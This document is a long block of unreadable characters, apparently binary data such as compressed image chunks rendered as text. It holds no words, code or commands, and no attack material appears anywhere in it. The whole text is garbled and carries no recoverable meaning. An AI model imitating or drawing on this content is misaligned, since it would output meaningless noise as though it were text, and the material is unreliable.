-_tsa	YC84Xx34gx	WM!?*KLLF^Lz&P&V2Z+Pšmhc=7B=O}柆"Nv~~~7Cq3rWX~ukbe_w
xs>.8FNY%]{+FEB\_wt5D*C}81/wm[} Fו_xc`~cG/_/KR!%bao
Q\MQo~ĭ$#p*>|CK.ڤ}MtD9a883}X#AV`<pC<ŘI$\&1ed94hDV}|Wx`w|<<[HczaGX6¬oח
d1.te`Qz1YkWsu_W7RlۋrLMMYgl4v=<_;s1fIWC{+*3<E5%Z&ڊ:CFAkcGo?Bo-fOQo]ޞ^йQpX07N|9$z	HbL S!\?dϸ%?]m7T]KqP]Хg!N/#t?^.;D{Zx?ښ?kc<Iܿ	*8fdM4v
t	pIKxErF6"Dsp8dN]bO	9˺
#E{ůo4A`xk8$˕bKc-2yxF9c6|F?<M_W87MZF~CEIJ'I,ׁ
);1$yD~s+6ӵ?\Ϡ ~mpQ@OXf_'>Go#cm=;"-\^61vhgE|l_7jIu:!<c(IRRL=|A#%hڃ(ZEB5&$eer>kp__N
s%
`$zHsd0N؛sĐ؃xN""9Z9Kg:@O]?%o	oO󌴫rzޢ
6Fe{g34Lm+㒏<
nn[4t;|Z.Fm-Q.;#g5;	Y]S{"Jkf,0,}F9'FK7!J׌7P
k0/_/Ck~GRktl98I
lqMIOsj<1űOA;ӻooH3>뇃?/گi͑Z.T"#ֻq?Mn:>hC<>Y4ѯ3
{ό]>܌Qu8ԗR:{pថ;O֤9ԗ7d1&Bq[l5ChՏodʝuuW͑5ThxFY&G35;~W1'8X6GjH)I%pW/yc-`h'Ռu1bp3X4M|Ⳋd…1 EjMlz_n#=5I6cV}{1VY{iŸ \_c
2"b[ʋ4}iN{8{܍gɀs⍹&h<y;,Z,`whK,"ЦO?~9FD1@=sړE^wӛ:ћ5xuo1H\w;w]@9'1KWMՈA8oIs':/M|CJ92g?QW^zR>oEĤO/K>%q55}~rO=ϻs^éo6{{X.~
vvm-_?|Υ렂`@z:n\Gz3\9+[/l060iydRڇqT˜3
LX]3QLrJ55:&1X~]p3?\ۻ'^|ЍK|ļ19)䫴7'TvWݏF--:7B;{DT!NfX7w?S_ڽG;55dl8gx4j˖z9e[i
/ƾ5ިSWS9CM
z%صu_.~5ǔ0["/WS"wk-@L"'8r>Ti+Y>'MF_g_ǚp^t
r>櫞'sM[j:|7g4b݂~;ە>:ܚ_|CW'dCze_:	:?߱Ot?,)si1v˿fh GX95l>#ٻ.4):Sܞ1v-U}D>7$¼?Ojy?!U'5z]vMWzn[iИ_Ը>VSWCWW2QcW1YSyMog<ݵ䊄nkn/27ag~OXKg;
xYtmZdc	ӳz4q'SH`6Nl$F1Eu!Wl]ޚ/ƅIc#+H[lՑ^1_=NrDŰ&r$(_հyIsJVLcj</hno|hsz	b (ɡt)j1̾+c-WL϶;{eLZgӸPmɢ;GE8\Ql/pƟx=9l&a+k+g	&wbmuᮆc.ђHHv%<hڂ1khA#2f&nFGSz_7`Me1ͭ9AQ[si IPTwky{44o>oTuzƿmJ!rj㹯dPLɣ/rH	hy4n֡g>{:FÆoqVl/D̠cFg
EF_#Y+V{f
3ydof_]&Yh־zfjD/Aߜ{č?8k豢[,OFu6DՓn[wg9Wka_G0#EA[F[{nUwxiq1W_\}zX]n	$-vl=uVk:n,`{F'2C800m:25:ys?=E.Y	r']Ҏ|߯:fp2znC2/vd؀xὃ;T0ZIt/"7j4
~{pwKR!p;웧o;|$i1iS4	bFn>A-_+M%qM[oo'i!N&'2NҾ$q5g|эy7hiL5O1?}?S?}w|?7?
词~A`p_=OO<Slp]Kaam1dv9Oy֚TcYuܸ@NtL
m _%yc77G6r#h	V?}<:]R>sICɟй37sdβbt,/nh>񴏔>5Y+
-H_$d~?p=q	\a}k+ᯇ	hBG_S<..s_]]xH|M3uE`sI͗MN{iu~WŐu`n,Mdv9&+!.}mjL7YC1\3K֣ٚ+y.bPnM掶0"Hޤl;6
פ{=Yncȓ8r}R`*[?iUi?RJ:/a=jnhץ=#yCg	wvoߤ>y+Zů֟|ZS[YәcTQԧZ89^<恭'w\Z"#яxX+S2jckrƹg]oSAIv괦jQ5t(?[l.l-ytۻϢ䍞WNGl5B/)1\1;;͐2
:`0esT{.|a*kr|YT4TYuEaW 5̭fgFJkZ/tˇf1R늫yߨ\6g(4Y+ӥ'?k3	ܾ6gI|LO) 2+ Rll!yqѼcq=uIw<֬}^K$LHPl\?0ߣ4ydoZ',CO+e)_Ken
$[9k
1i+ˬ_ߗr'lC:fغ;"O(1?O2N'M\tlx`%=ȹ/sf&[CZ/|IfcwS~Q'\t02f}_q.	w>qߟW_{B:+'}tm?qҧ9Vqee>xYOo4>M-_<	h<wF献Ej[soFO6	d63s\*'~015lLK<_iW5h|V/<%.,OWA'ςι~0ggTIyKAAg|їOk(S{?2/!sa'O?{?U} 
nJd_	0}	WZ~ZxŲ[n
o+=}!ph)uK@ ܔ>3̮d,%K#~K!3Bd3nrY6(:0T(WZKv_YG}ٺObݢblp:5֏Wɓ\!lWm&V{?]+q͋VgՑ'^䦏oS7`l_hn~e|[IIrO3?
9N
j|;0lZ_ybI,Xk-O}j5.r&	k2|FIdFϟ|M3l/Seni-Ml*/#KLJ{?EPFj .ۀS{:lkbB\#**	l12P'?ɛť/(gAxKOXk1m;IvۙK`ECG$wG:wX1"kE!{?l/F[a/EG~dp֌Ij77<z@{cP#OKIWNRfN>ÉIf4pby?t5Nҿ)3vbpWH[VGb>;e$FF#˞?`sMr*9'~E[\[%r'&6o6?Y
nCBھx~(T@s~' 'XF6_Z=4=.^Oq٦K>nڠCëk죑4o-tz.'U؄+sz39W[*}4kWu#EAkTtZh*!_^,!/wm2ɭ'*Ѓe=?e3>?E$^~U#\[jY'ܺSt?X~2q?)̱'z_~LN;4<h֊VJkPm\c(+jAj
ݔjNIkr=V~
XZ?6\&p|{{_܌V^tꄧ
t㵉8!&h~Ή$[`~KI(	Ksy\|֋s?Ͽx#Ydb'ܳmg6u윍t3Cl]~o50\dN_gL3Y8Q/=	ksukQEeQte]VS<iw`1C&H?%C~;jI.\{zd,,{99Hўvh%Mm`MǒyÝ	c5Y7ٹOwSrgɋI`87V΍¯ĦEmΉԬt`[!,r5V':]s4lTL
~]2}SuFrVӋ8Ⲥ'255$خ8f1\LJEѥ
Z	L{!87kw	r.!ǹN!sO3<я0j+goV6CЭur2iTIY%>`qR
8$b29Zۨ
n=7d2>&&A}3kHϺAX&9ODVMS8;簹Ȇ*_SNNolؕf0	ƀN4W+U~/&$&Du7_	M[9%{z}S[p7Wi1H\@2 )	#L4N|-`>{;r}fߵ?lw./Y_8NDm1?O
ekXZI7RiܿZϾHiMĴz>df_Ό}K="q(dNi5+^}H8у]jѴ')W-1pb]}_3’eCz(lEoMbuC_eqk>9g֏^GӾ|-'
tTI'vV3b8ჭh1c	2=*aQKJ%xsZC5fgemrk~ғd>̧O4<Iz:7BdО 7a'b@*q@Oȭu\=UHxׯ$=o}K4S	k]+н:ܝ)aYVw02Z^D]Y VR=ɏ|T
g'?g"AbThoL?#-ܩةbG؁^k|9H?n9.,^z*y~eA`)r?}~:p,muOI	sW~i0
}<
ο(؇?z&z7kjWڣgk#SL,-~=W?PA1w+,@IDAT,F|!Hΐ~MUGbզsSBзk/px9BҶ'lbU>xx@~~Z?p\ɍч@oDu~ב
7kҟzB
69a76dOwbֿ=ulu̧Dqpg2i&Wa,S;Xs:<A&D0,w_?;2&;PB=}'dk~hvΣz;%mKBpX>X5"2s'km #lr)|c9rOϸfMw8
2UKKj>*#{xKt/?"fּv# џ_>'\Y'}W6Yw4>}e;f<.;8q Y~sAppګ{99LRbem9=0Ϋ~؈V3wa'Efml~o%EDaNEUPZ'g+MNGoچ>jF(*\5>lbrj^ɜ;^47z6ȓl/`xq9ko4_*
lxnTZ/աyc^aZƛG^+Fgs`47<#
lwZVEi+kva\I^#T\VCM< \hRג	bsҜ J$.pbbL~j58z~u	k>;蚬{_lY_L[]kk_=:?Pl5cOjq	$o.c\ LWِ I{o[l:*@ȕ>jkJާ~`(hRlLw-*&Q{#EWaq4	')}u.4;
H5e>g]S_=A~ĚhɴKx8A~(4YGI}9ܿ[0cW UBFVpNzLќI>Z69ΙiX@>8(ob~ZJ	ZuǖK|~J<Tt)8%Mr}O0j)ϧRn<\t<TiK8И*%K4(:ѐHAƀ#z)R)۬FJYka-l$j0G-";-7;
Po??m}|EIs~|%$Gf]q/pS-hf눟p.sϽC^0m'F?O1M~gb&|r9lxLu_b~sJ9(QՔT7SQFmn0mc66<mic
֯m:_G+9L?Yg9	a{oϤsT/ty9}k`=1C|mv/Ə}CEoO>ޜY;/4luz1pco%Qw_l
I׬=M̯<_X[y	9@ʛDgF	E$fKWfNm80İ{/.E#9	0?K?dfkHO7&epawwE@,ÕI:[qXjGew3y$ٹZ s_Pny=+1ş&/42g:q0;iicOZG]6Ye=?ahF	h_+ʕ~E4c?aEg?m,87dq}+}3kJɉ^ן>?IܐD"up5wUQ\Š!inǂNkZNrO~'yS1vo_ٻ3r#Ǐ)3}\oc]%՜򏀃ʏGߝm\_N]c.ֿp:ruoZ?Sgz%'Æl8eXu{4\mHao{|X^u{kK<?Xg
(d\?8Z&M;;Ŏu6ŠWcyU7,<̽/N=q]+$j5kؿKVE߰uFo~XW[+שF*5>" L0/a0|Oc?~7]?~xp?z0SI:쵮K;uph̓bL%
g/LFWu]Wm+h]$?ym"&ʒQ;_% =ĺ{B08[;G_r	O>a}(؇Od=:	,k90@M9#Cي@qj1xF굏u}N?5vq?j=lkm||S:huѿC@tWòHEcԸ_7;P^&ρ's.ʡӻ'&/lGW^;:So._VpiV5=­3O9܀A<?h_
{S9+1ɴ&xsƷ	9gH_I]bԅ:c)߿~roomLtҔ8<rدhsl>q'u8{Yc}'or3~tFu/wmrj{A\t$ZHs_;@X!m|xp_R' LEOŁH6[^	& F?SQh3.X.X'rZlԬhr#3Ga'u
9+ײ4:vj#MӸ'8<DyE}
sSF٥GS1I?uYx<B:0Sd_?Y',$RH|$nqSS_WšD6Zo|;9g]€
W\G3Wkߩxa1뒕=ShV'|*[spںvO9'[9ꟼOMU?Ex*&f]DŦG0#7믽HGć%nBo~ýE@_}e1+C䑜WwuLlZL/F}f17)&
VF]✺bty37a*p-F)}0x=専u{[\u:ef%O~y@M
#^IO)'>۫ &7ZP9s{.!l]ʓ:	M{|ͅNse
V&oa~#JFmIRܫswRg\7GsV)45keZS?+]f%+5k1Ex8lD6 M:b`=TӠ|W+_!̂`gK_sB$jY#ck`
ܙף9Cӧ+T,(x蜯EJM
DcWANb:M_	g:h/ͽԿ/:&hu*Ԩq~Y?9'9H\}كmlHz灵13ɴL[
=,:	>\%u.-sAb.s1HZ4@wRkr_Џ%banl/_at͕tT_/FNͫӓIOo;9ɗO=lDкjuC5;8w57, ؝EET-}_=ѯg!&)#pEYd$O{ܑU}aT@Qw\BH?1hbk23F4-%=t+͇:GiJϋsEhH_IM8C|k/}RQC%<`ӍQҜo4Nt4LNmT'.]f:`gp~m:C6N7`ڽK}W6!뿤:t;GԒlF?XZN96hi<c$HmkeȇRX]uh|~,_ţj2;I	aX;+Zڙ})TC&6z V	'IZ]5G{&`<[?섙g$O:@[\̩
{ӣk]_fZ|׈aĹ{r4
&֦|~?s']=ucsAӬY%LNR|Co(V$u!Ge8̤5ry9amaH*x^#Q<i:UW*Ťw3TV')
0>˯z'E^1BXc!kp{!B@*@KlDPg3qcUBbw|9K95&:;;s<<5.r9x#=/,2C'f
leѲ,BN<7!SZ?rikvoD4Bg9k쉏tW׺aXȆ;Q.VSoPqet]ϼ~38p{D/Kf+d)nJ&ь֓x⛂{kSඈ:jq%/s~Ŝqq9Vdz
v%ޕ-V7[?̃y?sޞE_
l<A-_Taѿre5aM[em~pr|.yZ&kk],OqD}7MqF߄zz-,~K/7#!O
Ͼ6[?i#BFGNxZI!ljX?w>C
ŬI?=-MNR#}D켿\> /yeI)KdQ]IZ&oIMw.Ӭ'7%Nw&?fg~G("w_v𓌪D{3'uI'@obefLSja!;MXMNN8QaLo@?ҡ34-yaDO[5hrpW=\%[#ߠ-άKz*Ӹ57pon]P4>-Ĺ71/5=88'Υ}?RSVLEfcԴ8e4KYFrDM{6>
#teB!v5 =~mOn2(x
ԌE{cC-5ğ/'+A7jHcWGyC9?0Ӗ̜3Ӄ1>I{y_ǵn>.R
~;ZW%uJ'
:;Xpןk$	c5z7MkQ{^@@l?JAM܇q"hSGkM#=rIКsR%~xNDo=j}֭r:>L_NR#|/$&niȒ+9-D]LrCR>֟W_7_=[jbiont^>?Zm;E<Y
\bf8
R]sÊ\ۇx`{#{y3'n0gXsk!΍خzY${=|6]W	+Bǁ>ǥ`I15ysTܔ
sFWoLXLf3+Gx{{/`Տ֝
͋cp;/FyZl,|y}u8_{ҹ|pXG}e?}~O?jI>a;U~yP9sMY5c{վ4?K<k@sF"z‚A}^w<hzѯC&~d<vr~0dh#2eU/
d~ʐʟq9G?<<;u;EWXՏoZ=<G+<>0&Sm kArQ/)@gN6zƊ~6gGFTwgh3'K_@2SvZXg0B xPH!.Sr(/Zg&26GD*/Ȍ.%ĽM?~EC(_N2m]WZg:Ak8n_弨=C	Px)Ԅ@l&Qk7 :J23o(Xcd46]W9(2}䱏|L6oO|5A;#7Z:<Տ+kK-
ڳM-PrZ+;k×c?Cbћ$a~Mۇ(>gJX7wkT%d{WOYmtil{r2
MƎ	DKRğ"gJN@xC]SBVtC/O|}OJpO'ۣίGkN%Ӏ+9?oC7ma.߭=O^6ɽ}dsoQLKzFN
:}t].3l_W<~,3mجΦV)ttؙEKGjO&צp$f:\/8NJhm?q畖\;'f`Xw@L^Q=%ܓ\>iOEw(kl0ўdOWM{-C{ulؕ}V2pĵUK`HrfƵxq<%پk3hލݹ^ܸG=?gկ'Кp^!0&-`Kk)L+%hsO~8AP.}1$&M5;}JՄo	N6{~H-"a#؞`:wh}r򋱚s7bϿKld:At6lf1O<jo	eS_h*(rձypT>O&AU"x䚂x?Y_A.Y_f6Cy=ucur>ǃNׯ8jO/=;KuYj"䴟P<IVn`
p1TM0XUWyׄ4_YI?@ZN3|#C<W}s򫵇w.*MD9?Jt~:캙mHa`KQ{~DaZW}4PR8
ǘs_Ü6|]_[i<Hz1Ș`{C>N4EwSӲ {3

?jJ`b7E{ŽΊ46yIΫ's$6DZ8g;޸ozwBODOB]?_+>;85o9]{Cks\OE!AyT-o<:M@L_ժ6)h~r\CjC	m8b59>^Mkrś-)ٵ.AF,O	3V?m7(s%~YqstjƵohvǔNcp_+<*Q_oџ3:dqFe0YX1DvX_.ӍJ峼]CP]YXKE|?.>I}YhLLOqFAaC?+}ӣTq럣}&oKuic(˼F{hfŤwlXk6EPw?sT@kl;nd;կ:_ڒ]皊r6[U;>\[1l?9=xڣԚFΚ?<z[L_V}nS]_(`ƻšՇx<\qzVY
)exc~,Ǟ۞M;a1,
d{nʺv}޿Kq
uIp
[h7ksklj]ah]iuf7+R1xR$OLļÝ`.ۧs_q:I)ZPKl=[3hl40vAX2u{XaW-v[[ᝳ{
R"_F?GNҲLusJȆ._RS?aNBr`QlfH910/?BEFJR9|.w0DϼgkskPd|6R[2l4I3w{g̃h@hKEحQkt?Z$2&?(Ui.69~ϼwky 
+ҟeb|]Pvhx՜+C^Y^N'ZeHymno@tx
ؾbieNQߩU&4X!ϒƏTIO~5
|MG?"g_,uX_+ev>(Y, Zo+sMkzzY_7
?o"J9dOwjn~5>i&L*S$c09u,X{Q˽<օSb,D11''06O_pΏMCd,"lb~% 		<=:7Yj?yUH[O=R7"볯/xpZo;w3|Հ#y>tحFL;MKU= gGy"NG+0FXzlW
Ro7e?l5vbt6F,F1c矉w}kf=t;2*hBp 8o՚UǍS <(s/{Od*6&]9BcXßl}
+f9"Zu-[8IX[5@ FCUΙ-14T1ָv.<||C]f8=Xf0shĕ#&r
oyy'I&!=$^o_K*/e)
p11Eg*?1xb/lSːu"aM)(ͼ&ݜ3K<o2'@]e&5K3g!?@7O}zX3ZY[te_EDJ7n^6xbO5ocs3W^_7fxVg}uIgy:RIDvC6\p4LWoLpwMP''>w`sc%6%YgYs5z-@l90[VyL}=8h(}eDc6PAcM`	4OgDXC\U?w?+2~Qyzj-;{g)tac0@T]._yx6G;?ό.~?!t_1c~	Z8Ql|dXTМ
ε8RA_°|n׆C1[\5
'h@7_	*]b= f-k{ܫem/Gt+Lƈ!i<	Yr̲>^DfqdS#2?Skt_56md2H\-^͢@x
鮳	B}0ؼq}u46Tg~l2~+8
//vͽDoNzlt̄S0uLwQJe	{;G=QD2+n#KD։f3ymN[ǘpzDz3ּw!_1q!UrcgUth_/	>^mX	vcA_sRً|XGOH
~zcmnwZf"\m;={Ư瞀buqZ8[A9l	/Ԙl_!?8͆u##\쬟sY.ȯu>~\_BlKp6Y">ԷoјjJ+s.p$gٳ9|~Ĕ=-=xW)s/4fH	k
h?xP'Z<zY=>.*Sh?w&ܚ
uQޯUffozܵ|sN#M%&Ic8܍c+5Ueر<Fb1Aϐpt@#WW+&1f㇖,Ξn9$Nswx=3%B4hsSTYS{y<gXxDGz{CV~Gͥ;=3,rzH~tպnG|,L
tO~'iu5%~
	53z-OF~z~MYu5mL^-j皜0vr81'ciT\}m]l&orpI~{2_/wqu^,֤yﵓX[u,S;2H͏Zz
?LYI:g_xˬ8_+:XDʖLg̷mk7랓"sJ?>-Fwsh38SƿG*#φ?&vky_"_7O@|Jy
I;jւ>{U=uu:{MͥpaDbqWO?S	6E*s=߿+lk'_LH룗'{ɿlHhI>3o4j1A">{A':>?{m}y?A=k\N=u~''3Ï~JB[_>s1Qn/{gyYmjqLZșM뀁9E);>3/0h&_o˛Qݍ;z5͝O:C;z*Ru		\vȁANEv\olu\l;ј|?p;[JѢ_@!61\Gm	sR|9a1E?ALÊg5D:ڋYoτ}h	#ӗis;>rso8WU_rhKMk/iRduwh:νJM0i=\?jvςpC{DמhB=dVk^eM7~Bw4X9;ܫWyw}#ꑋ<YoL
tsb4C殧/B:MNR<'?IEG?[z`7l˖g9'}sib+*[9gɉl`9?c?f~9\3GBjZ,O!mWzvLvO<61xͩSNNnkr0Ϙ=Ah6Rb~Z6b`ӣ5EB)yks6B
X
≒\yߩK
q
N~k!x0
ޟxWT:k1zO}"7Ք|͎24Qb@`(\ƌo~~r*j&gxÌsl5Yw8os{v؃Y	1;@e0w;(PFjb1}N}SMnB"\&[Q;NNP3Yf{,@+:hfxԟo<ef\$+?O-?|~?}7}}<x}OHl2S~cYT4Q%3|e{|CT;s>@SWf1(EOxQXYd8a͙ւo&l|GFu~s>?#I(4xOV6au3b&h4pc鵶i%FiìZaO;!Dp,׀7*%@k3/(pi@r!. ~
ObM윟w~*(^i]ܠ,mp|[=y9sߡh̩?R0Xob1JvSź_cd{MɊi 6NqZ5
OIHC_ބ
=Qo~MT]p-}}RAL$)
o!!0"'SU[Hn
3$$i[[P57K9 ,T<w3[9X숍Y5G~t\Q}s'gk}h$gPwm$ιP ujgz&@sm}1hi%s
U8>/u(*u~0otl-JNVRKeUַF>wITn}ihY` Ep_4jy,Yfqr?CiIb:>՟w.᢫;D$gjf9o[!Ss[i'V
S\?%/՟M1a#YPkU.Ky7n7ׄ&^ij{#`k	@o(h]m[jQ^s#ґP&/`։Ɛ-!Mn˹a9~8XGMc=)?KGB߈OeWOz3+!ApV۲Z^<`ד<8ON ؍%[[I/\b1|μedA7p#SJ_rܵP]Spӈ'.=?Cs{WW.'#\oEs.xRBӻ5XA^,<>@!N<26:dm%>bV/t&1ј'wj`N6܋	iM&[`5!xw
iv@i6KIu]YF.wΫC՟p뷙\Jw'_8rꠉRoBss=6@ĜL"V6dx~8O=Ƅyiӭf'}]:<L}!׃f?dAWfGurZ^lԿ(/<CmYa}{Cr-'t}@>(\9;ǝxגQ3 Ɖ+ʏGF+6IX3^f$1^.K<[A5iLb987ZgIDݻo9?!2۝gyFXV漵	WO9'S]RaʌsH5eRK$5[l~iޚ-r,8(U͙h's}ͮ%eq>^8I2fǐ?]?rF&zyٮEA=yO!]X'`Vk0ЦoY7&/6~;KQ9 +eOA^2^
ל
,|tIZEWos3qV5J0dy'hÕħK9@7q
"}iAONa+K4-qKâxOe/0ȏ"dMW2:Vs~y_"N\9o\`&fFpyq<q
'u=,?'2=Xp׽f?Fe</⨃_LW!GPsm5ʢ:=n~|SB铯;_È[~V?wKڀd6319
C#	DIshQži-\6𾧕zc٤|uxe~p;`Ei%^s3Kuj64#+}a89܅&23Ej]>MykτاpKhM(7%Ohe
gmu{ztL^G?s?Z}iLKgN}I	_Nyozuڳ
\h$k,+`c^S#t	
m~NnLi(q(G}9=3Ц/s)_3W4zvNw	)o֐~mܫwqx0}r~8ыo5=s6[f>찖ͣy
ͧĸv8gQgwkH=ckE7D}ƕ/X]G\Gt1%@ӷ|LoY?:®LςiA-_E)2=@17\,VO	JV0j-mk:(G{3{:y"%~9ʯ(IdRԒZ
p{'yRkd˅ƃN<0A%ju{˼	aU3xc=ꩿ[?_h+8~>NSTS6sEso!rO{owޞQ<D':Ms-OBϽT0^ZwKD|N[<={3~D{ٰ&>3᾿yG34Ww\8aU!|?Ͽ|:|+\#5S~
k%52ڹG\AZ6_=Ǿ/f8ZTy񕧞ldַeC\{8#ZD|Cauqhߠt|M?D{>Ns~jy29qFNofY9~]3莧8X^w͗J	8ҙSϊ
H)Ϙop;]DxX^X g	~K9¤_\gzѫ\H[+TACq433^.4^PJ3YgB
6W3h_|Pa vB٣Xn!2'7u8j=Q0;qb+2ށX=޷z]C$Ԣd1tWܭD@IDAT+bAlO#" yCS^혱>-<we~k!q|<+Jޚ6Yo[]7Qµ\lb&NS`swofO3!kX|sxU),R+Cy].GPv8[/1 88<wMhJ:m
/e=M`<Aj_'yy߾u7?|F"R@X,HlʊDat<ÞY'g$U<z!|oh9Zy@HD7xkI3"'VO#)lZ;<bu0
zdw9ص񃳱K>#~YDjkD_9}r8Й|*CRݟ?}O1i?|O:;0jBÞͱڊcvs:/e1v0q:وuEe^&P>͑U!|YL?)wq>a?a>עyO~nYf'do7w,l݋9u}?(o(T/fEv[-EW
[퓟~08X3O犀qdm`U۵T\hAV
c=o֣HRP2zìo/a>Or3Xk`90sz^3G-O~%87Q`D6Ϲ@sx=p}
Da;~,JDK02g/fwЉ\类Gc;<9aGfu:PuX	QJ8-f7{\]u8L7(ƜjCvmlFi9Jlo~xF+A.&2mr鏯<9%<ٷGTjJo&˗M{(f۔8?6`pTj.B_DM%9[؞݀wo>;T@*|+px6Ao̥T\$'\ 	OV`ղWdh쀮kMyZ]Qg/0ƨ2Af*&-H`RM6G	3sL:WxDjsS2oawJWόE_?M{?	um5c5́&y\oFZM?pq:xq\1pxO.ƻ2*Vʋ3
~rZ2Čq	ßrenbs>DzFµvoM|Ez>%
f9RW]ipOg4)9i`\|KDŽon%@GP;i'Z񲎀g!soWeMNT|#(rx96{/zVp
zfsI6?&ܵ4|8M5k[g\PWx<(<ۿɆl+qY#to3F6]2@t!F6߱6']?#~|Ri؛sWwΏ?
Dgvɒ65pf׵gt٪
h)?+ۿlLe_]hW`&=`qGAS"*u{(NfxWNiWu<MRM/6<¬;y~ߟrpl~5M	,X;Z%Q5]tznΒMѯuӁqLTpo}~Bu'`t5hKQ
0B4&<^!Mc:msϕ_kOh5=<X-GԿ4|I{1֯񞮸Д<|R?G_o.WQI
qa(Ƹ01|?I cy>!tr~| ?ywiVĭiE iok@"t~~|b'u`ĕTNz#R`^%s}D/smom'0GN]?~U_X$s%}ʰ6oHz.DKl"v[Mz)U&N6n܀@\js<}1\|뷶hLgiak4 gݭb,7PM>"4%OzL-O4-Iq]7:(E*VAq{sk>Z?۷M_Itɡ1
ܟtL-~s@˅1|<?~2'G_|?;io-PSR	4o}:Ŗ=SuSYmC ɚSObMAB2{9}ͱVexQOh
h2&Rl	oox`gܾ4^_*&6ۆ~+ҥ9XvGrxxHyq͐+km 1ޗcMɤ
B(W+>a>{d(w8m~$,#-]G.{QSwW.3w^öoZ|W>9SߌG'5$~6u?6|r2N/w	xzsraY8^c|_4*&WטXsεE,̪#3^׷0[y'ʹ>%+1=_/:w\Rڋh }m8Xh'=/9fأUC0^W?^Mq1±؈,]3g/=֡	;7~х/XLSsI֚wx%u*Rd?ȫN5E+NK5`0}r}d3R2/9_2L%Im*~|I(գ=+fst}=7u23}7?'߱d3yDIXi6R%9]AG?LL«)bo1zx-?%&˴mQ_<ࣿD/!w}89Y*GȒa[$vZOmu%ۈRxZW%Do))Lol舆|ql^ˈ>]gjf
ʞ-cC^rzo>!k䊩/b﵈x~8bABOߜ4>$#n)}J㹳M"%jΕU:gSkCq<[3ڶAx7zPӋoS7ПDlo^>2+0g
Wap6=I@N3;}y!н0,sBqj-m}@Pܺ`RЕ>x٢ρ7
G^'fw)ɗ,폶?	8TdcLAR$5#Etǰ6L&QZm|
YtCv0ȏ:E%/wOGXֽ9?KHP3VMk̴fS@De!FVI'I.p5;}`aιQV⛦)n6l8F>+ǗqT{_Edn4	~c_G\78ܓ?
Ǖw<9y鼨D?w$G?BMϕCrVEa){\X;CG0=l +~M..\`,q
H>2`+5x!~2E^T?_rBZ	iil jLVIYr@#cߩ+ZN	K}eMm'Z1\+L,v~[63wpeҼq!Z&Lⓚk"hu8Ɵΐ"92czÁvXSBlmյ٤
˙wpb51M?x`%9>)
x!4[.L,P>JMghu
S!h|ulsxI^MD(_chNm.NYuJiڌUk}'!CKkkh!7>{Am#Ff-,:}zpJ{Ϣ}^N|+aVPDKO\$ژD?N FŦ'X&'of"0,\ÚnT9_&dzmpqav`%0wVyY+l@5hw/~
`o`5_;у~?CU4>Q5Y9VĄiͮ^a\Ob"Q;I30	
1]As݇{*HOa=>z\駟]EJN?߿/B'~ĽSN-²vy`#!fl?88E+o=>8ַ:{ʜJe;X'|tf_ImNQcmh֟"y{{
\^5]
4hӮyȈS׆=ӗgoeеҬW͠Ugm7~q~Bǩ@41'Ig^?>Ii5{1'ucuHߦ&ovO#9;!c^a ٚlO85H|ꞔ#$-=+_{|!jv\Dcs+.Wgզڌ6.+;ц}4/k Kx+e
gXqflQ^|?uLhGS?PLOYAn׹{@yn/k7YKbL<>,L19S#MI<5d-"_Ž	N?Bl=]u:+S%s
eК-a'v7NtT}UFk6bKZ'gF5VϏ0ۊos@/Ǜ`JnD`B>{vW<>߂퇕O:(-sLN>7G45,e,
?\]ۖ'gT+J\>[l/sCs:KsdbȈhF@	WhÚ+x7]\6>Smxcك+f2'#\γ;܋s.6W
$ɉ3g^AVb.hK@,l?fLbo%Prށ5ZYGA?L&ՙCH<\"'_hKKܜ%?8}ڬۙ]l9Oxk%`i]ymr~4'.Jm|ex|?@:Y	S(TukSi\!URܫߥo?2|QTm;7c AfʽIIוNok^'
:lԛeA;9S3#.bo1}Hgc0J;=0^~Ul͔&Xp/Szbwӟ{/>O=/Q3rMG@FZWS:őK?)*]u1d[o=aЀh.oòe[^+ "?D1lZ9\3XZ{aAMQ6~OBOXɐjڙ>+
½B#xag'sӓN6-vBb=134*ٓ19[Y*0:@.jeteN/^4NeoIa&/z<6?ۓ#Skǹ„:YpH)^Ox^WьD+l-곪f3=p`t"KKn۩GBFgwϚ8zD>'nvgHeh$,2R#~@xP6эiRb35
sY'M'/lT|&w?'"XQzuǤjRM[:;)yTXYwu&X)Im'j##ta;rÌ1lA19N#>c@ZCȩC뿧?/cVW'x$O]իDvUz\Qm@y>
Pht/'x]CneU{+Qmh*؍np~
H=џ55766eiL}4;{6kGrVgeSw=r.6pZ9'%\p^9Fʬ};Gi&,ra6eCӴa4G0b9:QM:qt%*HRh{$]pMoɕcql<|sȥq?fh93׳j'pzonk\Z?0iւ'R]FavI~]veoà5g
J_ͺ\p@l/Pv/=333	RW!NP/m(9:WǖK*	?yL1B0	Ch
:
lo('$s6 ,2u%^5;8.GW,o@??E%7[?
/lNț8>
n<}kM9uyoψ#`g8usvs_O["ϙ䟌 ?_DIP\+]*{<$85ǫŨr9<\U<}pٞ9Օ}ɵ|Ks^`	xG#+Pikw3n9}:̯?O?˟_? 򚎧-y'pH!qc|yivôB!QLӽxYWxք'}-yNarh}
BdY4{N~5g-ܩmXt?+kv'Mjsr\ɳ>o뜟<!h^ҺNYS#KDU}B>W;U{l_Rf= \uϵ+V3voO3w-1fH}ϖ+]᧟}gXO$ܹ0٣x	 O`ab9I;g}:	g|wjHcUr͟Ak>{;oʜaϟ?	PЮ???[=R+޵m	?E{{8J+֡`'_bȦ͍x'Ob8=`/Ib&_?'G#&&8?0c[ㄍ"5I	>d`CmW̮U9Drdw>iZ.k^XѿXJ ؽ}k8t.[hҲIK~m^BP+KV/&ͥbApGw^߳/}NJhKu_^U'q'®6݇	.j
ͯ@XZ6'k
/w\^~G
S=޸~QZ8nɓ8IO-wd9K!\,tz>hg$0J +0]>QVrp_]$3Ld$'QM'!)+7h}toM8ͦhj-X#In,)rze.)<K2} ?>^~bT,'}Xig^{$$5kVٶVcZ?\Lɜ|5zmж;~Ouss\")BF@'_p@sbJυ'K?>F)9sկ:W^t'?<Dtx`Q[w؝\QAk)F)
6bvmK{
/?d}FCKFk`aYioSk
@$B{2΁m0c)aĔ>>Be'qWa}&v)8ZP}l4MӲz^}F<=}u~4ԟuEwdf0'G3+^@{=0kZ|	x1N-X>綞$jB׽'p] ̾AzuSACLLC?̱[Idsp#fEhKdOO<aibr)~rM}u|RL/x}wxX
x;>pE3"R/v6D90IT-Iwlڱ5wϬKdqU*C-'saSܿF1yDY/VqñKKS_
^_P;u;~~g0+<=ms=ʈ}G+ru_3 9
